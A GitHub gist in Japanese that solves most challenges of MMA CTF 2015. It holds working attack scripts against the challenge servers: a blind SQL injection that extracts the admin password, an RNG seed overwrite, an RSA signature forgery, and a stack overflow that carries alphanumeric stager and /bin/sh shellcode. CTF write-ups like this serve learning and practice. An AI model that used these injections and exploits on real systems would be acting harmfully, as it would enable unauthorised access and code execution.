Skip to content

Instantly share code, notes, and snippets.

@Bono-iPad
Last active May 5, 2016 15:35
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Bono-iPad/42434cdfff084c637d3b to your computer and use it in GitHub Desktop.
Save Bono-iPad/42434cdfff084c637d3b to your computer and use it in GitHub Desktop.
MMA CTF 1st 2015 writeup

#MMA CTF 1st 2015 writeup

##Welcome!! 問題文:「フラグは"MMA{Welcome_To_MMACTF!!}"です。」
コピペ。

##Pattern Lock Flag 1のみ。
Google検索。
http://blog.goo.ne.jp/nihongi/e/d0cfde12d440b92c181b6afd2b7dc4cb

##Smart Cipher System Flag 1: 平文chr(x)をchr(x-0x17)して暗号文にしている。逆でOK。
Flag 2: "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}"を暗号化して、対応している文字を当てはめていく。
Flag 3: 一文字ずつbrute force

# -*- coding: utf-8 -*-
import urllib,urllib2

print "flag1"
x = [0x36,0x36,0x2a,0x64,0x4b,0x4b,0x4a,0x21,0x1e,0x4b,0x1f,0x20,0x1f,0x21,0x4d,0x4b,0x1b,0x1d,0x19,0x4f,0x21,0x4c,0x1d,0x4a,0x4e,0x1c,0x4c,0x1b,0x22,0x4f,0x22,0x22,0x1b,0x21,0x4c,0x20,0x1d,0x4f,0x1f,0x4c,0x4a,0x19,0x22,0x1a,0x66]
y = []
for a in x:
  y.append(a+0x17)
z = ""
for a in y:
  z = z + chr(a)
print z

print "flag2"
dic = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}"
data = [0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x21,0xff]

x = [0xe3,0xe3,0x83,0x21,0x33,0x96,0x23,0x43,0xef,0x9a,0x9a,0x05,0x18,0xc7,0x23,0x07,0x07,0x07,0xc7,0x9a,0x04,0x33,0x23,0x07,0x23,0xef,0x12,0xc7,0x04,0x96,0x43,0x23,0x23,0x18,0x04,0x04,0x05,0xc7,0xfb,0x18,0x96,0x43,0xef,0x43,0xff]
z = ""
for a in x:
  z = z + dic[data.index(a)]
print z

"""
print "flag3"
url = "http://bow.chal.mmactf.link/~scs/crypt5.cgi"

x = [0x60,0x00,0x0c,0x3a,0x1e,0x52,0x02,0x53,0x02,0x51,0x0c,0x5d,0x56,0x51,0x5a,0x5f,0x5f,0x5a,0x51,0x00,0x05,0x53,0x56,0x0a,0x5e,0x00,0x52,0x05,0x03,0x51,0x50,0x55,0x03,0x04,0x52,0x04,0x0f,0x0f,0x54,0x52,0x57,0x03,0x52,0x04,0x4e]
#print len(x)   # result: 45

dic = "0123456789abcdef"
res = ""
for now in range(0,40):
  for a in dic:
    buf = res + a
    buf = buf + "X" * (40-len(buf))
    values = {'s' : 'MMA{' + buf + '}',
'.submit' : '暗号化'}
    data = urllib.urlencode(values)
    req = urllib2.Request(url, data)
    response = urllib2.urlopen(req)
    the_page = response.read()
    q = the_page[the_page.find("</h1>")+5:the_page.find(" <form")]
    if int(q.split(" ")[now+4],16) == x[now+4]:
      res = res + a
      print 'MMA{' + buf + '}'
      break
    import time
    time.sleep(0.2)
# MMA{e75fd59d2c9f9c227d28ff412c3fea3787c1fe73}
"""

##Login as admin! passwordがinjection可能なことは分かる。色々試してみる。

test'--
OK

test' || (select 1)--
NG

test' or (select 1)--
OK

test' or (select name from sqlite_master)--
OK

te' or (select 1 from user)--
OK

データベースはsqlite、ユーザー情報はuserテーブルに存在することが分かる。
カラム名はpasswordとそのまま。後はGLOBを使ってinjectionする。cookieを使っていることに注意。
Blind sql injection.

import urllib
import urllib2
import time

import cookielib

url = 'http://arrive.chal.mmactf.link/login.cgi'
dic = "_ABCDEFGHIJKLMNOPQRSTUVWXYZ{}-0123456789abcdefghijklmnopqrstuvwxyz"
now = 0
dbname = ""
while True:
  values = {'username' : 'test',
            'password' : "te' or (select exists(select * from user where user='admin' and password glob " + "'" + dbname + dic[now] + '*' +  "'))--"}
  data = urllib.urlencode(values)
  cj = cookielib.CookieJar()
  cjhdr = urllib2.HTTPCookieProcessor(cj)
  opener = urllib2.build_opener(cjhdr)
  r = opener.open(url,data)
  q = r.read()
  if "invalid" in q:
    now = now + 1
    continue
  dbname = dbname + dic[now]
  now = 0
  print dbname

# MMA{cats_alice_band}

##RPS srandに渡す数字をnameで上書きできる。
じゃんけんの手はmod 3。(1: Rock 2: Paper 3:Scissers)
50連勝してflag.

import telnetlib
from ctypes import *

ans = ["P","S","R"]

libc = CDLL("libc.so.6")
libc.srand(0x41414141)

payload = "A"*52 + "\n"

host = 'milkyway.chal.mmactf.link'
port = 1641

tn = telnetlib.Telnet(host,port)
raw_input("use strace!")
print tn.read_until(":")
tn.write(payload)

data = ""
for a in range(0,50):
  now = libc.rand()
  data = data + ans[now%3]

tn.write(data + "\n")
tn.interact()

# MMA{treed_three_girls}

##How to use? Windows 32-bit DLL.
IDAで解析すると、明らかに怪しいhowtouseという関数がある。
この関数をOllyDbgで実行すると、スタックに複数のアドレスが積まれて止まる。
このアドレスをたどると、eaxに文字を入れてはreturnを繰り返していることが分かる。
eaxに入る文字をたどればflag.
MMA{fc7d90ca001fc8712497d88d9ee7efa9e9b32ed8}

##Signer and Verifier RSA署名。何とかしてdを手に入れて、与えられた平文を暗号化(=署名)したいが、どうやってもdが分からない。
Signerがあるので任意の文章を署名できるが、問題として出てくる平文は暗号化できない。しかし、結局Textbook RSAであり、それ以外のMは全て入力可能。よって、Chosen plaintext attackが可能(ref. http://crypto.stackexchange.com/questions/2323/how-does-a-chosen-plaintext-attack-on-rsa-work )。
Mが2で割り切れる場合、mod nの中で(M/2)を暗号化し、さらに2を暗号化したものとかけると、Mが手に入ってしまう。
Mが2で割り切れる数字が来るまで待って暗号化する。

import telnetlib
import struct
import time

# Signer: nc cry1.chal.mmactf.link 44815
# Verifier: nc cry1.chal.mmactf.link 44816
# $ nc cry1.chal.mmactf.link 44815
#2
#45079099838985725562852606238717200427051379007624461327902168505601211187218876469734461321234449872036659707405487725511293056518165755448751892780025070359086690571912728851484390191469176434804920520148004120893601096389983117747368657326741086665038698187413495968534490174851162613343138684260784792820

host = 'cry1.chal.mmactf.link'
port = 44816

no2 = 45079099838985725562852606238717200427051379007624461327902168505601211187218876469734461321234449872036659707405487725511293056518165755448751892780025070359086690571912728851484390191469176434804920520148004120893601096389983117747368657326741086665038698187413495968534490174851162613343138684260784792820

n = 167891001700388890587843249700549749388526432049480469518286617353920544258774519927209158925778143308323065254691520342763823691453238628056767074647261280532853686188135635704146982794597383205258532849509382400026732518927013916395873932058316105952437693180982367272310066869071042063581536335953290566509

e = 65537

print pow(no2,65537,n)

# All we should do is sign the message(M).
# Our answer C is "C = M^d mod N" and "C^e mod N = M".
# We know M,N,e. and also we know no2 = 2^d mod N.
# So, we can get M^d (mod N) when we calculate (M/2)^d * no2 (mod N).

while True:
  tn = telnetlib.Telnet(host,port)
  print tn.read_until("Sign it!")
  data = tn.read_until("none",2)
  print data
  data = int(data)
  if data % 2 != 0:
    tn.close()
    continue
  data = data / 2
  tn2 = telnetlib.Telnet(host,port-1)
  tn2.write(str(data) + "\n")
  data2 = tn2.read_until("none",2)
  print data2
  data2 = int(data2)
  tn.write(str( (no2 * data2 ) %n ) + "\n" )
  break
tn.interact()

##This program cannot be run in DOS mode. ファイルヘッダを読んでみると、PEヘッダを示す部分が00に書き換えられており、どんな状態でも本体が実行されないようになっている。
ヘッダを正しい数字(0x3cの0x00を0xe8)にすればflag.

##Nagoya Castle Stegsolve(http://www.caesum.com/handbook/Stegsolve.jar )久々の活躍。
Red plane 0に堂々とflagが書いてある。

##MQAAAA base64をdecodeすると、一昔前に流行ったVBScriptの難読化された文章が出てくる。
(ref. http://scripting.cocolog-nifty.com/blog/2006/09/jscriptvbscript_f83d.html )
この通りに行うと(拡張子.jseとなることに注意)flag獲得。

##Mortal Magi Agents: phpで動いているサイト。 まず、おなじみphp://filterでbase64形式にしたphpファイルを抜き出す。これでflagが"../flag"に存在することが分かる。
続いて、Avatorをアップロードし、その中のphpスクリプトをpharで実行し、flag獲得。 CODEGATE 2015 QualのOwlurと同じ手法。(ref. https://0x1337seichi.wordpress.com/2015/03/15/codgate-2015-ctf-quals-owlur-writeup-web-200/ )
やっとこの手の問題のリベンジができた……と思ったら、かなり凄まじい想定解(https://gist.github.com/ytoku/8147cf145bc0cdc116d9 )が公開されていた……。これは分からん。

##Splitted splitted.pcapからzipファイルをバイナリエディタでつなぎ合わせて復元する。Follow TCP streamで書き出したデータをRawでファイルに保存、あとは切り貼り。
この手の問題にありがちな、部分的に欠損したり重なってたりがない良心的な出題……と思ったら、出てきたflag.psdが真っ白。実は真っ白なレイヤーが本物のflagのレイヤーの上に重なっている。どけてflag.

##spell 入力をIspellに流し込み、問題なければ「Perfect!」と表示され終了するバイナリ。 4096bytes以上の入力は、Ispellに渡す前にエラーになっている。では、4095Bytesだと?一旦は通ったように見えて、次にIspellとして正しい入力をすると……

Stopped reason: SIGSEGV
0x41414141 in ?? ()

Ispellからの入力を受け取る領域が小さすぎるため、stack overflowが起こる。
これで終わったかと思いきや、一旦Ispellに情報を渡した後にデータが返ってくるので、ASCII文字以外のデータが書き込めない。return addressは0x80493b8なので、これを最後の改行も含めて書き換えることまでしかできない。しかも、その先のstackが書き換えられないのでROP chainが組めない。
ここで、/proc/PID/mapsの情報から、stackがexecutableと分かる。さらに、BOFした後のretされる時、stackは

00:0000| esp     0xffffc0f0 --> 0xffffc108 --> 終了時に入力した文字列
01:0004|         0xffffc0f4 --> 0x0 
02:0008|         0xffffc0f8 --> 0x1000 
(gdb使用中、実際はASLRがかかる)

さらに0x80aXXXXにもバイナリデータがあるので、

0x80a4666:	ret

に飛ばすことが可能。("fF\n")
これでx86 alphanumetric shellcodeを入力すれば終わりか……と思いきや、Ispellで通らないといつまでたっても終了できない。

ここからが本番。この問題は「Ispell acceptable shellcode」を書くという問題であった……。
色々と試してみた結果
・「数字」はノーチェック
・「アルファベット1文字→数字」はノーチェック
と分かった。また、たいていの場合0x36(ss)は間に挟んでもとりあえず動くので、以下のようなコードになった。"Ispell acceptable stager"を作り、stagerで狙ったアドレスに本物のshellcodeを書き込みflag.
ちなみに、ASLRのため、動作確率は1/16。

import telnetlib
import struct
import time

host = 'pwn1.chal.mmactf.link'
port = 38264

payload = "A"*4079 + "fF"

tn = telnetlib.Telnet(host,port)
print tn.read_until("your paragraph:")
s = tn.get_socket()
tn.write(payload + "\n")
print tn.read_until("your paragraph:")

payload2 = "4z"			# xor al,0x7a  eax = EAX: 0xffffc172 (ex eax=0xffffc108)
payload2 = payload2 + "6J"	# dec edx (edx: 0xffffffff)
payload2 = payload2 + "00"      # xor [eax],dh

payload2 = payload2 + "B6"      # inx edx
payload2 = payload2 + "20"      # xor dh,[eax]
payload2 = payload2 + "H6"      # dec eax
payload2 = payload2 + "00"      # xor [eax],dh
payload2 = payload2 + "6Z"      # pop edx(edx:0)
payload2 = payload2 + "6J"	# dec edx (edx: 0xffffffff)
payload2 = payload2 + "6H"      # dec eax
payload2 = payload2 + "00"      # xor [eax],dh

payload2 = payload2 + "6Z"    # pop edx (edx: 0x1000)
payload2 = payload2 + "6A6A6A"  # inc ecx*3 (ecx:3)
payload2 = payload2 + "6Q6P6R"	# push 3(ecx->eax), eax(stack->ecx), edx(0x1000)
payload2 = payload2 + "6I6I6I6Q"	# dec ecx*3 push 0 -> ebx

payload2 = payload2 + "6U6U6V6W"	# push ebp,ebp,esi,edi  
payload2 = payload2 + "6a"	#popa = pop edi,esi,ebp,junk,ebx,edx,ecx,eax
payload2 = payload2 + "6P6X"*12 + "6P" + "2M" * 2

tn.write(payload2 + "\n")

payload3 = "00"
payload3 = payload3 + "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
time.sleep(1)
s.send(payload3 + "\n")

tn.interact()

# MMA{spell_is_useless_in_Japanese_lang}

##最後に 本当に素晴らしいCTFでした。相当に練り込まれた問題の数々が次々と現れ、どんな問題が来るか楽しみになるCTFでした。
MMAの皆さん、ありがとうございました!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment